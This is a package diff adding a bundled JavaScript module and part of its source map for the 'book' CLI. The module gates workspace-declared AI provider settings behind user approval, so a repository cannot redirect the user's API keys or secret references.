@letrquan/book 0.3.0 → 0.4.0-beta.0

package/dist/chunk-B5FC3MYZ.js

@@ -0,0 +1,395 @@
+import {
+  renderUntrustedText
+} from "./chunk-WV3O5PGX.js";
+import {
+  updateWorkspaceTrust
+} from "./chunk-HFB74CLM.js";
+
+// src/provider-approvals.ts
+import { createHash } from "crypto";
+
+// src/secret-reference.ts
+import { homedir } from "os";
+import { isAbsolute, join, relative, resolve } from "path";
+function parseSecretReference(raw) {
+  const envMatch = raw.match(/^\{env:([^}]+)\}$/);
+  if (envMatch) return { kind: "env", name: envMatch[1] };
+  const fileMatch = raw.match(/^\{file:([^}]+)\}$/);
+  if (fileMatch) return { kind: "file", path: fileMatch[1] };
+  return { kind: "literal" };
+}
+function resolveSecretFilePath(reference, workspace) {
+  if (reference.startsWith("~/")) {
+    return { path: join(homedir(), reference.slice(2)), readable: true };
+  }
+  if (isAbsolute(reference)) return { path: resolve(reference), readable: true };
+  const root = resolve(workspace);
+  const path = resolve(root, reference);
+  const rel = relative(root, path);
+  return { path, readable: !(rel.startsWith("..") || isAbsolute(rel)) };
+}
+
+// src/trust-command.ts
+import { resolve as resolve2 } from "path";
+var SHELL_SAFE_BARE = /^[A-Za-z0-9_@%+=:,./\\-]+$/;
+function shellArgument(value) {
+  if (SHELL_SAFE_BARE.test(value)) return value;
+  if (/["`$!\u0000-\u001f\u007f-\u009f]/.test(value) || value.endsWith("\\")) return null;
+  return `"${value}"`;
+}
+var PASTEABLE_PROVIDER_ID = /^[A-Za-z0-9_@+=:,./ -]+$/;
+function trustCommandLine(workspace, rest) {
+  if (resolve2(workspace) === resolve2(process.cwd())) return `book trust ${rest}`;
+  const quoted = shellArgument(workspace);
+  return quoted === null ? null : `book trust ${rest} --workspace ${quoted}`;
+}
+function trustCommandText(workspace, rest) {
+  const command = trustCommandLine(workspace, rest);
+  return command === null ? { command: `book trust ${rest}`, note: ` (run it from ${renderUntrustedText(workspace)})` } : { command, note: "" };
+}
+function providerTrustCommand(workspace, providerId) {
+  const quoted = providerId === void 0 || providerId.startsWith("-") || !PASTEABLE_PROVIDER_ID.test(providerId) ? null : shellArgument(providerId);
+  return trustCommandText(workspace, quoted === null ? "provider" : `provider ${quoted}`);
+}
+
+// src/provider-approvals.ts
+var LEGACY_BASE_URL_ID = ".bookrc.json";
+var PROVIDER_CONNECTION_KEYS = ["baseURL", "baseUrl", "apiKey", "type"];
+function usableId(id) {
+  return id !== "__proto__";
+}
+function isPlainObject(value) {
+  return typeof value === "object" && value !== null && !Array.isArray(value);
+}
+function workspaceProviderFingerprint(entry) {
+  const canonical = JSON.stringify({
+    type: entry.type ?? "openai",
+    origin: entry.baseURL ?? entry.baseUrl ?? null,
+    apiKey: entry.apiKey ?? null
+  });
+  return createHash("sha256").update(canonical).digest("hex").slice(0, 16);
+}
+function legacyBaseUrlFingerprint(baseUrl) {
+  return createHash("sha256").update(JSON.stringify({ baseUrl })).digest("hex").slice(0, 16);
+}
+function evaluateDecision(decisions, id, fingerprint) {
+  if (!decisions || !Object.hasOwn(decisions, id)) return "pending";
+  const decision = decisions[id];
+  return decision.fingerprint === fingerprint ? decision.choice : "pending";
+}
+function evaluateLegacyBaseUrl(decisions, baseUrl) {
+  return evaluateDecision(decisions, LEGACY_BASE_URL_ID, legacyBaseUrlFingerprint(baseUrl));
+}
+function providerIdsOf(layers) {
+  const ids = /* @__PURE__ */ new Set();
+  for (const layer of layers) {
+    for (const id of Object.keys(layer.providers ?? {})) if (usableId(id)) ids.add(id);
+  }
+  return ids;
+}
+function droppedProviderOverrides(workspaceLayers, trustedIds) {
+  const dropped = [];
+  for (const layer of workspaceLayers) {
+    for (const [providerId, entry] of Object.entries(layer.providers ?? {})) {
+      if (!trustedIds.has(providerId) || !isPlainObject(entry)) continue;
+      const keys = PROVIDER_CONNECTION_KEYS.filter((key) => entry[key] !== void 0);
+      if (keys.length > 0) dropped.push({ path: layer.path, providerId, keys });
+    }
+  }
+  return dropped;
+}
+function withoutWorkspaceProviderOverrides(providers, trustedIds) {
+  const kept = {};
+  for (const [id, entry] of Object.entries(providers)) {
+    if (!trustedIds.has(id) || !usableId(id) || !isPlainObject(entry)) continue;
+    const rest = { ...entry };
+    for (const key of PROVIDER_CONNECTION_KEYS) delete rest[key];
+    kept[id] = rest;
+  }
+  return kept;
+}
+function mergeDeclaration(base, override) {
+  const result = structuredClone(base);
+  for (const [key, value] of Object.entries(override)) {
+    if (value === void 0 || key === "__proto__") continue;
+    const existing = result[key];
+    result[key] = isPlainObject(value) && isPlainObject(existing) ? mergeDeclaration(existing, value) : structuredClone(value);
+  }
+  return result;
+}
+function emptyWorkspaceProviderPartition() {
+  return { approved: [], pending: [], rejected: [], reserved: [] };
+}
+function partitionWorkspaceProviders(workspaceLayers, trustedIds, decisions) {
+  const merged = /* @__PURE__ */ new Map();
+  for (const layer of workspaceLayers) {
+    for (const [id, entry] of Object.entries(layer.providers ?? {})) {
+      if (trustedIds.has(id) || !usableId(id) || !isPlainObject(entry)) continue;
+      const existing = merged.get(id) ?? { declaration: {}, layers: [] };
+      existing.declaration = mergeDeclaration(existing.declaration, entry);
+      existing.layers.push(layer.path);
+      merged.set(id, existing);
+    }
+  }
+  const partition = emptyWorkspaceProviderPartition();
+  for (const [id, { declaration, layers }] of merged) {
+    const typed = declaration;
+    const fingerprint = workspaceProviderFingerprint(typed);
+    const entry = { id, declaration: typed, fingerprint, layers };
+    if (id === LEGACY_BASE_URL_ID) partition.reserved.push(entry);
+    else partition[evaluateDecision(decisions, id, fingerprint)].push(entry);
+  }
+  return partition;
+}
+function declaredProviderIds(partition) {
+  return [
+    ...partition.approved,
+    ...partition.pending,
+    ...partition.rejected,
+    ...partition.reserved
+  ].map((entry) => entry.id);
+}
+function withheldProviderIds(partition) {
+  return [...partition.pending, ...partition.rejected, ...partition.reserved].map(
+    (entry) => entry.id
+  );
+}
+var MODEL_SELECTION_KEYS = ["model", "compactModel", "advisorModel"];
+function profileModelKey(profile) {
+  return `agents.profiles.${profile}.model`;
+}
+function profileOfModelKey(key) {
+  return /^agents\.profiles\.(.+)\.model$/.exec(key)?.[1];
+}
+function modelSelectionsOf(settings) {
+  const selections = {};
+  for (const key of MODEL_SELECTION_KEYS) selections[key] = settings[key];
+  const profiles = isPlainObject(settings.agents) ? settings.agents.profiles : void 0;
+  if (isPlainObject(profiles)) {
+    for (const [name, profile] of Object.entries(profiles)) {
+      if (!usableId(name) || !isPlainObject(profile)) continue;
+      if (typeof profile.model === "string") selections[profileModelKey(name)] = profile.model;
+    }
+  }
+  return selections;
+}
+function providerPrefixOf(model) {
+  const trimmed = model.trim();
+  const slash = trimmed.indexOf("/");
+  return slash > 0 ? trimmed.slice(0, slash) : void 0;
+}
+function selectionSlots(layers) {
+  const slots = new Set(MODEL_SELECTION_KEYS);
+  for (const layer of layers) for (const key of Object.keys(layer.selections)) slots.add(key);
+  return [...slots];
+}
+function winnerOf(layers, key) {
+  let winner;
+  let trustedValue;
+  for (const layer of layers) {
+    const value = layer.selections[key];
+    if (value === void 0) continue;
+    if (layer.trusted) trustedValue = value;
+    winner = { value, layer };
+  }
+  return winner && { ...winner, trustedValue };
+}
+function withheldModelSelections(layers, withheldIds) {
+  const withheld = [];
+  for (const key of selectionSlots(layers)) {
+    const winner = winnerOf(layers, key);
+    if (!winner || winner.layer.trusted) continue;
+    const providerId = providerPrefixOf(winner.value);
+    if (providerId === void 0 || !withheldIds.has(providerId)) continue;
+    withheld.push({
+      key,
+      value: winner.value,
+      providerId,
+      path: winner.layer.path,
+      fallback: winner.trustedValue
+    });
+  }
+  return withheld;
+}
+function unaffectedModelSelections(layers, withheldIds) {
+  const unaffected = [];
+  for (const key of selectionSlots(layers)) {
+    const winner = winnerOf(layers, key);
+    if (!winner?.layer.trusted) continue;
+    const providerId = providerPrefixOf(winner.value);
+    if (providerId === void 0 || !withheldIds.has(providerId)) continue;
+    unaffected.push({ key, value: winner.value, providerId, source: winner.layer.path });
+  }
+  return unaffected;
+}
+function environmentModelSelections(modelOverride, env = process.env) {
+  return [
+    {
+      key: "model",
+      value: modelOverride || env.BOOK_MODEL,
+      source: modelOverride ? "--model" : "BOOK_MODEL"
+    },
+    { key: "compactModel", value: env.BOOK_COMPACT_MODEL, source: "BOOK_COMPACT_MODEL" },
+    { key: "advisorModel", value: env.BOOK_ADVISOR_MODEL, source: "BOOK_ADVISOR_MODEL" }
+  ];
+}
+function withEnvironmentSelections(unaffected, environment, withheldIds) {
+  const set = environment.filter((selection) => selection.value);
+  const overridden = new Set(set.map((selection) => selection.key));
+  const result = unaffected.filter((selection) => !overridden.has(selection.key));
+  for (const { key, value, source } of set) {
+    const providerId = providerPrefixOf(value);
+    if (providerId !== void 0 && withheldIds.has(providerId)) {
+      result.push({ key, value, providerId, source });
+    }
+  }
+  return result;
+}
+function createWorkspaceProviderGate(parts) {
+  return {
+    declared: declaredProviderIds(parts.partition),
+    withheld: withheldProviderIds(parts.partition),
+    partition: parts.partition,
+    droppedOverrides: parts.droppedOverrides ?? [],
+    withheldSelections: parts.withheldSelections ?? [],
+    unaffectedSelections: parts.unaffectedSelections ?? [],
+    legacyBaseUrl: parts.legacyBaseUrl
+  };
+}
+var DISCLOSURE_LIMIT = 1024;
+function describeOrigin(raw) {
+  if (raw === void 0) return "(no baseURL: the default endpoint)";
+  let url;
+  try {
+    url = new URL(raw);
+  } catch {
+    return `${renderUntrustedText(raw)} [!] not a valid URL`;
+  }
+  const origin = renderUntrustedText(`${url.protocol}//${url.host}`, DISCLOSURE_LIMIT);
+  return url.username !== "" || url.password !== "" ? `${origin} [!] the URL has userinfo before the host; requests go to the host shown` : origin;
+}
+function describeApiKeyDeclaration(apiKey, workspace) {
+  if (apiKey === void 0) return "none";
+  const reference = parseSecretReference(apiKey);
+  if (reference.kind === "env") {
+    const name = renderUntrustedText(reference.name, DISCLOSURE_LIMIT);
+    return /^[A-Za-z_][A-Za-z0-9_]*$/.test(reference.name) ? `environment variable ${name}` : `environment variable ${name} [!] not a valid variable name`;
+  }
+  if (reference.kind === "file") {
+    const file = resolveSecretFilePath(reference.path, workspace);
+    const path = renderUntrustedText(file.path, DISCLOSURE_LIMIT);
+    return file.readable ? `file ${path}` : `file ${path} [!] outside the workspace, so it would not be read`;
+  }
+  return "a literal key (not shown)";
+}
+function describeWorkspaceProvider(entry, workspace, routed = []) {
+  const origin = entry.declaration.baseURL ?? entry.declaration.baseUrl;
+  const lines = [
+    `${renderUntrustedText(entry.id, 64)}  ${describeOrigin(origin)}  key: ${describeApiKeyDeclaration(entry.declaration.apiKey, workspace)}`
+  ];
+  if (routed.length > 0) {
+    const named = routed.map(
+      (selection) => `${selection.key} "${renderUntrustedText(selection.value)}" (from ${renderUntrustedText(selection.source)})`
+    ).join(", ");
+    lines.push(
+      `[!] approving it also routes your own selections with this prefix to ${describeOrigin(origin)}: ${named}`
+    );
+  }
+  return lines;
+}
+function describeLegacyBaseUrl(baseUrl, context) {
+  const lines = [
+    `${LEGACY_BASE_URL_ID}  ${describeOrigin(baseUrl)}  would become the default endpoint`
+  ];
+  lines.push("  approving it sends there: BOOK_API_KEY");
+  if (context) {
+    const keyless = Object.entries(context.providers).filter(([, provider]) => provider.baseURL === void 0 && provider.baseUrl === void 0).sort(([a], [b]) => a.localeCompare(b)).map(
+      ([id, provider]) => `${renderUntrustedText(id, 64)} (key: ${describeApiKeyDeclaration(provider.apiKey, context.workspace)})`
+    );
+    lines.push(
+      keyless.length === 0 ? "  approving it sends there: no provider key (every configured provider sets its own baseURL)" : `  approving it sends there: the requests and key of each provider with no baseURL: ${keyless.join(", ")}`
+    );
+  }
+  lines.push(
+    "  approving it sends there: every plain model id (gpt-4o) and every <vendor>/<model> id that names no configured provider"
+  );
+  return lines;
+}
+function describeDroppedOverride(dropped) {
+  return `${dropped.keys.join(", ")} for provider "${renderUntrustedText(dropped.providerId, 64)}" in ${renderUntrustedText(dropped.path)} ignored: you defined that provider yourself, so a workspace file cannot change where its key goes or how it is sent. \`book trust provider\` does not apply to it; to use another origin, key or type, set it in your own settings (~/.book/settings.json).`;
+}
+function describeWithheldSelection(selection) {
+  const id = renderUntrustedText(selection.providerId, 64);
+  const instead = selection.fallback === void 0 ? "the trusted settings set none, so the default applies" : `"${renderUntrustedText(selection.fallback)}" is used instead`;
+  return `${selection.key} "${renderUntrustedText(selection.value)}" from ${renderUntrustedText(selection.path)} ignored: it names the workspace provider "${id}", which is not approved; ${instead}.`;
+}
+function describeUnaffectedSelection(selection) {
+  const id = renderUntrustedText(selection.providerId, 64);
+  return `provider "${id}" declared by the workspace is withheld; your ${selection.key} "${renderUntrustedText(selection.value)}" (from ${renderUntrustedText(selection.source)}) is unaffected and resolves as it would had the workspace not declared that provider.`;
+}
+function describeReservedProvider(entry) {
+  return `workspace provider "${renderUntrustedText(entry.id, 64)}" from ${entry.layers.map((layer) => renderUntrustedText(layer)).join(", ")} ignored: that id is reserved for the decision about a legacy ${LEGACY_BASE_URL_ID} baseUrl, so it can never be approved. Rename the provider.`;
+}
+function workspaceProviderRefusal(providerId, rawModel, workspace) {
+  const id = renderUntrustedText(providerId, 64);
+  const { command, note } = providerTrustCommand(workspace, providerId);
+  return `Model "${renderUntrustedText(rawModel)}" names provider "${id}", which is declared by the workspace and has not been approved. It needs \`${command}\`${note} before Book sends it a request or resolves its key.`;
+}
+var WorkspaceProviderRefusalError = class extends Error {
+  constructor(providerId, rawModel, workspace) {
+    super(workspaceProviderRefusal(providerId, rawModel, workspace));
+    this.providerId = providerId;
+    this.name = "WorkspaceProviderRefusalError";
+  }
+  providerId;
+};
+function persistWorkspaceProviderChoice(workspace, id, fingerprint, choice, storePath) {
+  return updateWorkspaceTrust(
+    workspace,
+    (trust) => {
+      trust.workspaceProviders[id] = { fingerprint, choice };
+    },
+    storePath
+  );
+}
+
+export {
+  parseSecretReference,
+  resolveSecretFilePath,
+  trustCommandText,
+  providerTrustCommand,
+  LEGACY_BASE_URL_ID,
+  PROVIDER_CONNECTION_KEYS,
+  workspaceProviderFingerprint,
+  legacyBaseUrlFingerprint,
+  evaluateLegacyBaseUrl,
+  providerIdsOf,
+  droppedProviderOverrides,
+  withoutWorkspaceProviderOverrides,
+  emptyWorkspaceProviderPartition,
+  partitionWorkspaceProviders,
+  declaredProviderIds,
+  withheldProviderIds,
+  MODEL_SELECTION_KEYS,
+  profileModelKey,
+  profileOfModelKey,
+  modelSelectionsOf,
+  providerPrefixOf,
+  withheldModelSelections,
+  unaffectedModelSelections,
+  environmentModelSelections,
+  withEnvironmentSelections,
+  createWorkspaceProviderGate,
+  describeOrigin,
+  describeApiKeyDeclaration,
+  describeWorkspaceProvider,
+  describeLegacyBaseUrl,
+  describeDroppedOverride,
+  describeWithheldSelection,
+  describeUnaffectedSelection,
+  describeReservedProvider,
+  workspaceProviderRefusal,
+  WorkspaceProviderRefusalError,
+  persistWorkspaceProviderChoice
+};
+//# sourceMappingURL=chunk-B5FC3MYZ.js.map

package/dist/chunk-B5FC3MYZ.js.map

@@ -0,0 +1 @@
+{"version":3,"sources":["../src/provider-approvals.ts","../src/secret-reference.ts","../src/trust-command.ts"],"sourcesContent":["/**\n * Trust decisions for providers a workspace layer declares.\n *\n * A provider entry names two things the user cares about: where a request goes (`baseURL`) and\n * which credential rides along (`apiKey`, a literal or a `{file:…}` / `{env:…}` reference that\n * Book reads on the entry's behalf). A checked-in `.book/settings.json`, a force-added\n * `.book/settings.local.json` or a legacy `.bookrc.json` can write both, so honouring them\n * unchecked lets a repository send the user's provider key, any `~/` file or any environment\n * variable to an origin the repository names.\n *\n * Two rules close that, in the shapes the other repository-input gates already use:\n *\n * - A provider id a **trusted** layer (the user file, a `--settings` file) defines keeps the\n *   trusted layer's origin, key and protocol. A workspace layer's `baseURL`, `baseUrl`, `apiKey`\n *   and `type` for that id are dropped before merging (`type` decides how the key is sent: as a\n *   bearer token, or as `x-api-key` to `/v1/messages`); only its `models` entries still merge.\n * - A provider id **only workspace layers define** is held back until the user approves it in the\n *   user-global trust store (`workspace-trust.ts`), against a fingerprint of its declared type,\n *   origin and key reference. Changing any of those re-withholds it. An approved one is merged in,\n *   but it never inherits a key: only its own `apiKey` is sent (see `resolveModelProviderConfig`).\n *\n * Everything here is pure except {@link persistWorkspaceProviderChoice}: the loader and the\n * reporting hosts call the same functions, so what is enforced and what is reported cannot drift.\n */\nimport { createHash } from 'crypto';\nimport type { ProviderConfig, WorkspaceProviderChoice } from './settings.js';\nimport { renderUntrustedText } from './hook-approvals.js';\nimport { parseSecretReference, resolveSecretFilePath } from './secret-reference.js';\nimport { providerTrustCommand } from './trust-command.js';\nimport { updateWorkspaceTrust } from './workspace-trust.js';\n\n/** A provider entry as a settings file wrote it: every key optional, nothing defaulted. */\nexport type ProviderDeclaration = Partial<ProviderConfig>;\n\n/** One settings layer's `provider` map. */\nexport type ProviderMap = Readonly<Record<string, ProviderDeclaration>>;\n\n/**\n * The decision-store key for a legacy `.bookrc.json` `baseUrl`, which is not a provider. The id is\n * reserved: a workspace provider literally named this is never approvable (see\n * {@link WorkspaceProviderPartition.reserved}), so it cannot share the legacy decision.\n */\nexport const LEGACY_BASE_URL_ID = '.bookrc.json';\n\n/**\n * The keys of a provider entry that choose where a request goes, which key it carries or how that\n * key is sent. Everything but `models`, which sends nothing anywhere. The workspace gate drops\n * them from a workspace layer, and a `/model` save clears them from the local layer: one list, so\n * the two cannot drift.\n */\nexport const PROVIDER_CONNECTION_KEYS = ['baseURL', 'baseUrl', 'apiKey', 'type'] as const;\n\n/** `__proto__` parses as an ordinary own key but assigning it would reach the prototype setter. */\nfunction usableId(id: string): boolean {\n  return id !== '__proto__';\n}\n\nfunction isPlainObject(value: unknown): value is Record<string, unknown> {\n  return typeof value === 'object' && value !== null && !Array.isArray(value);\n}\n\n/**\n * Digest of everything the user is asked to trust about a workspace-declared provider: the\n * declared `type`, the origin (`baseURL ?? baseUrl`, as written) and the `apiKey` exactly as\n * written. A reference is fingerprinted as text, never resolved, so computing one reads nothing.\n * `models` stays out: a catalog entry sends nothing anywhere.\n */\nexport function workspaceProviderFingerprint(entry: ProviderDeclaration): string {\n  const canonical = JSON.stringify({\n    type: entry.type ?? 'openai',\n    origin: entry.baseURL ?? entry.baseUrl ?? null,\n    apiKey: entry.apiKey ?? null,\n  });\n  return createHash('sha256').update(canonical).digest('hex').slice(0, 16);\n}\n\n/** Fingerprint of a legacy `.bookrc.json` `baseUrl`. */\nexport function legacyBaseUrlFingerprint(baseUrl: string): string {\n  return createHash('sha256').update(JSON.stringify({ baseUrl })).digest('hex').slice(0, 16);\n}\n\nexport type WorkspaceProviderState = 'approved' | 'rejected' | 'pending';\n\nfunction evaluateDecision(\n  decisions: Readonly<Record<string, WorkspaceProviderChoice>> | undefined,\n  id: string,\n  fingerprint: string,\n): WorkspaceProviderState {\n  if (!decisions || !Object.hasOwn(decisions, id)) return 'pending';\n  const decision = decisions[id];\n  return decision.fingerprint === fingerprint ? decision.choice : 'pending';\n}\n\n/**\n * Whether the user approved honouring a legacy `.bookrc.json` `baseUrl`. The file ships with a\n * repository and its `baseUrl` receives `BOOK_API_KEY`, so it is ignored unless approved.\n */\nexport function evaluateLegacyBaseUrl(\n  decisions: Readonly<Record<string, WorkspaceProviderChoice>> | undefined,\n  baseUrl: string,\n): WorkspaceProviderState {\n  return evaluateDecision(decisions, LEGACY_BASE_URL_ID, legacyBaseUrlFingerprint(baseUrl));\n}\n\n/** One settings file's provider map, with the path to report it by. */\nexport interface ProviderLayer {\n  path: string;\n  providers: ProviderMap | undefined;\n}\n\n/** The provider ids the given (trusted) layers define. */\nexport function providerIdsOf(layers: readonly Pick<ProviderLayer, 'providers'>[]): Set<string> {\n  const ids = new Set<string>();\n  for (const layer of layers) {\n    for (const id of Object.keys(layer.providers ?? {})) if (usableId(id)) ids.add(id);\n  }\n  return ids;\n}\n\n/** Override keys one workspace layer wrote for a provider a trusted layer defines. */\nexport interface DroppedProviderOverride {\n  path: string;\n  providerId: string;\n  /** Which of `baseURL`, `baseUrl`, `apiKey` and `type` the layer wrote. */\n  keys: string[];\n}\n\n/**\n * The origin, key and protocol overrides a workspace layer wrote for a trusted provider. Pure:\n * {@link withoutWorkspaceProviderOverrides} drops exactly these, and a report can list them.\n */\nexport function droppedProviderOverrides(\n  workspaceLayers: readonly ProviderLayer[],\n  trustedIds: ReadonlySet<string>,\n): DroppedProviderOverride[] {\n  const dropped: DroppedProviderOverride[] = [];\n  for (const layer of workspaceLayers) {\n    for (const [providerId, entry] of Object.entries(layer.providers ?? {})) {\n      if (!trustedIds.has(providerId) || !isPlainObject(entry)) continue;\n      const keys = PROVIDER_CONNECTION_KEYS.filter((key) => entry[key] !== undefined);\n      if (keys.length > 0) dropped.push({ path: layer.path, providerId, keys });\n    }\n  }\n  return dropped;\n}\n\n/**\n * A workspace layer's provider map as the merge may see it: only the ids a trusted layer defines,\n * and for those only `models`. Workspace-only ids are not here — they reach the\n * resolved settings through {@link partitionWorkspaceProviders} or not at all.\n */\nexport function withoutWorkspaceProviderOverrides(\n  providers: ProviderMap,\n  trustedIds: ReadonlySet<string>,\n): Record<string, ProviderDeclaration> {\n  const kept: Record<string, ProviderDeclaration> = {};\n  for (const [id, entry] of Object.entries(providers)) {\n    if (!trustedIds.has(id) || !usableId(id) || !isPlainObject(entry)) continue;\n    const rest: ProviderDeclaration = { ...entry };\n    for (const key of PROVIDER_CONNECTION_KEYS) delete rest[key];\n    kept[id] = rest;\n  }\n  return kept;\n}\n\nfunction mergeDeclaration(\n  base: Record<string, unknown>,\n  override: Record<string, unknown>,\n): Record<string, unknown> {\n  const result = structuredClone(base);\n  for (const [key, value] of Object.entries(override)) {\n    if (value === undefined || key === '__proto__') continue;\n    const existing = result[key];\n    result[key] =\n      isPlainObject(value) && isPlainObject(existing)\n        ? mergeDeclaration(existing, value)\n        : structuredClone(value);\n  }\n  return result;\n}\n\n/** A provider only workspace layers declare, merged across them, with what the user decides on. */\nexport interface WorkspaceProviderEntry {\n  id: string;\n  /** The merged declaration, later layers over earlier ones. */\n  declaration: ProviderDeclaration;\n  fingerprint: string;\n  /** Every layer that declared it, in merge order. */\n  layers: string[];\n}\n\nexport interface WorkspaceProviderPartition {\n  /** The user approved this exact declaration: it joins the resolved providers. */\n  approved: WorkspaceProviderEntry[];\n  /** No decision recorded for this declaration: withheld until the user makes one. */\n  pending: WorkspaceProviderEntry[];\n  /** Explicitly refused: withheld, and not re-offered. */\n  rejected: WorkspaceProviderEntry[];\n  /**\n   * A provider named {@link LEGACY_BASE_URL_ID}: that id is where the decision about a legacy\n   * `baseUrl` lives, so a decision recorded under it could not tell the two apart. Withheld\n   * whatever the trust store holds, and never offered for approval.\n   */\n  reserved: WorkspaceProviderEntry[];\n}\n\nexport function emptyWorkspaceProviderPartition(): WorkspaceProviderPartition {\n  return { approved: [], pending: [], rejected: [], reserved: [] };\n}\n\n/**\n * Sort the providers only workspace layers define into approved, pending and rejected.\n *\n * @param workspaceLayers - the workspace layers' provider maps, in merge order\n * @param trustedIds - ids a trusted layer defines; those are never workspace-declared\n * @param decisions - the user's recorded decisions, from the trust store or a trusted layer\n */\nexport function partitionWorkspaceProviders(\n  workspaceLayers: readonly ProviderLayer[],\n  trustedIds: ReadonlySet<string>,\n  decisions: Readonly<Record<string, WorkspaceProviderChoice>> | undefined,\n): WorkspaceProviderPartition {\n  const merged = new Map<string, { declaration: Record<string, unknown>; layers: string[] }>();\n  for (const layer of workspaceLayers) {\n    for (const [id, entry] of Object.entries(layer.providers ?? {})) {\n      if (trustedIds.has(id) || !usableId(id) || !isPlainObject(entry)) continue;\n      const existing = merged.get(id) ?? { declaration: {}, layers: [] };\n      existing.declaration = mergeDeclaration(existing.declaration, entry);\n      existing.layers.push(layer.path);\n      merged.set(id, existing);\n    }\n  }\n\n  const partition = emptyWorkspaceProviderPartition();\n  for (const [id, { declaration, layers }] of merged) {\n    const typed = declaration as ProviderDeclaration;\n    const fingerprint = workspaceProviderFingerprint(typed);\n    const entry: WorkspaceProviderEntry = { id, declaration: typed, fingerprint, layers };\n    if (id === LEGACY_BASE_URL_ID) partition.reserved.push(entry);\n    else partition[evaluateDecision(decisions, id, fingerprint)].push(entry);\n  }\n  return partition;\n}\n\n/** Every id only workspace layers declare, in any state. */\nexport function declaredProviderIds(partition: WorkspaceProviderPartition): string[] {\n  return [\n    ...partition.approved,\n    ...partition.pending,\n    ...partition.rejected,\n    ...partition.reserved,\n  ].map((entry) => entry.id);\n}\n\n/** The declared ids that are not in effect: pending, rejected or reserved. */\nexport function withheldProviderIds(partition: WorkspaceProviderPartition): string[] {\n  return [...partition.pending, ...partition.rejected, ...partition.reserved].map(\n    (entry) => entry.id,\n  );\n}\n\n/** The model-selection keys a settings layer may carry at its top level. */\nexport const MODEL_SELECTION_KEYS = ['model', 'compactModel', 'advisorModel'] as const;\nexport type ModelSelectionKey = (typeof MODEL_SELECTION_KEYS)[number];\n\n/** The slot label of one agent profile's `model`, as a report names it. */\nexport function profileModelKey(profile: string): string {\n  return `agents.profiles.${profile}.model`;\n}\n\n/** The profile a {@link profileModelKey} label names, or undefined for a top-level key. */\nexport function profileOfModelKey(key: string): string | undefined {\n  return /^agents\\.profiles\\.(.+)\\.model$/.exec(key)?.[1];\n}\n\n/** What a settings document says about models, for {@link modelSelectionsOf}. */\nexport interface ModelSelectionSource {\n  model?: string;\n  compactModel?: string;\n  advisorModel?: string;\n  agents?: unknown;\n}\n\n/**\n * Every model selection a settings document makes, by slot label: the three top-level keys and\n * each agent profile's `model`. A profile model reaches a spawn as surely as `model` reaches the\n * session, so it is gated by the same rule.\n */\nexport function modelSelectionsOf(\n  settings: ModelSelectionSource,\n): Partial<Record<string, string | undefined>> {\n  const selections: Partial<Record<string, string | undefined>> = {};\n  for (const key of MODEL_SELECTION_KEYS) selections[key] = settings[key];\n  const profiles = isPlainObject(settings.agents) ? settings.agents.profiles : undefined;\n  if (isPlainObject(profiles)) {\n    for (const [name, profile] of Object.entries(profiles)) {\n      if (!usableId(name) || !isPlainObject(profile)) continue;\n      if (typeof profile.model === 'string') selections[profileModelKey(name)] = profile.model;\n    }\n  }\n  return selections;\n}\n\n/** One layer's model selections, with whether the layer is trusted. */\nexport interface ModelSelectionLayer {\n  path: string;\n  trusted: boolean;\n  selections: Partial<Record<string, string | undefined>>;\n}\n\n/** A model selection a workspace layer made that names a withheld workspace provider. */\nexport interface WithheldModelSelection {\n  /** The slot: `model`, `compactModel`, `advisorModel` or `agents.profiles.<name>.model`. */\n  key: string;\n  value: string;\n  providerId: string;\n  /** The workspace layer the value came from. */\n  path: string;\n  /** What applies instead: the trusted layers' own value, or `undefined` when they set none. */\n  fallback: string | undefined;\n}\n\n/**\n * A model selection the user's own settings, `--model` or the environment made, whose prefix\n * names only a withheld workspace provider. It is unaffected: it resolves as it would had the\n * workspace not declared that provider. Approving the provider is what would change that.\n */\nexport interface UnaffectedModelSelection {\n  key: string;\n  value: string;\n  providerId: string;\n  /** Where it came from: a settings path, `--model` or an environment variable. */\n  source: string;\n}\n\n/**\n * The `<provider>` of a `<provider>/<model>` id, or undefined for a bare or malformed one.\n *\n * The one place a model id is split, for the loader's gate and for `resolveModelProviderConfig`\n * alike, so the two cannot disagree about which provider an id names. The id is read trimmed: a\n * caller that resolves it must use the trimmed id too (`resolveModelProviderConfig` does).\n */\nexport function providerPrefixOf(model: string): string | undefined {\n  const trimmed = model.trim();\n  const slash = trimmed.indexOf('/');\n  return slash > 0 ? trimmed.slice(0, slash) : undefined;\n}\n\ninterface SelectionWinner {\n  value: string;\n  layer: ModelSelectionLayer;\n  trustedValue: string | undefined;\n}\n\n/** The slots a set of layers makes selections in: the top-level keys first, then profiles. */\nfunction selectionSlots(layers: readonly ModelSelectionLayer[]): string[] {\n  const slots = new Set<string>(MODEL_SELECTION_KEYS);\n  for (const layer of layers) for (const key of Object.keys(layer.selections)) slots.add(key);\n  return [...slots];\n}\n\n/** The last layer to set `key` (the merge keeps its value) and the last trusted layer's value. */\nfunction winnerOf(\n  layers: readonly ModelSelectionLayer[],\n  key: string,\n): SelectionWinner | undefined {\n  let winner: Pick<SelectionWinner, 'value' | 'layer'> | undefined;\n  let trustedValue: string | undefined;\n  for (const layer of layers) {\n    const value = layer.selections[key];\n    if (value === undefined) continue;\n    if (layer.trusted) trustedValue = value;\n    winner = { value, layer };\n  }\n  return winner && { ...winner, trustedValue };\n}\n\n/**\n * The model selections whose merged value came from a workspace layer and names a withheld\n * workspace provider. A selection that names a trusted provider, an approved workspace provider\n * or no provider is left alone, and so is one a trusted layer made last.\n *\n * @param layers - in merge order, trusted layers included: the last layer to set a key is the one\n *   whose value the merge keeps, and a trusted layer after a workspace layer outranks it.\n */\nexport function withheldModelSelections(\n  layers: readonly ModelSelectionLayer[],\n  withheldIds: ReadonlySet<string>,\n): WithheldModelSelection[] {\n  const withheld: WithheldModelSelection[] = [];\n  for (const key of selectionSlots(layers)) {\n    const winner = winnerOf(layers, key);\n    if (!winner || winner.layer.trusted) continue;\n    const providerId = providerPrefixOf(winner.value);\n    if (providerId === undefined || !withheldIds.has(providerId)) continue;\n    withheld.push({\n      key,\n      value: winner.value,\n      providerId,\n      path: winner.layer.path,\n      fallback: winner.trustedValue,\n    });\n  }\n  return withheld;\n}\n\n/**\n * The model selections a trusted layer made last whose prefix names only a withheld workspace\n * provider. The counterpart of {@link withheldModelSelections}: those fall back, these stay, and\n * the user is told that nothing they chose moved.\n */\nexport function unaffectedModelSelections(\n  layers: readonly ModelSelectionLayer[],\n  withheldIds: ReadonlySet<string>,\n): UnaffectedModelSelection[] {\n  const unaffected: UnaffectedModelSelection[] = [];\n  for (const key of 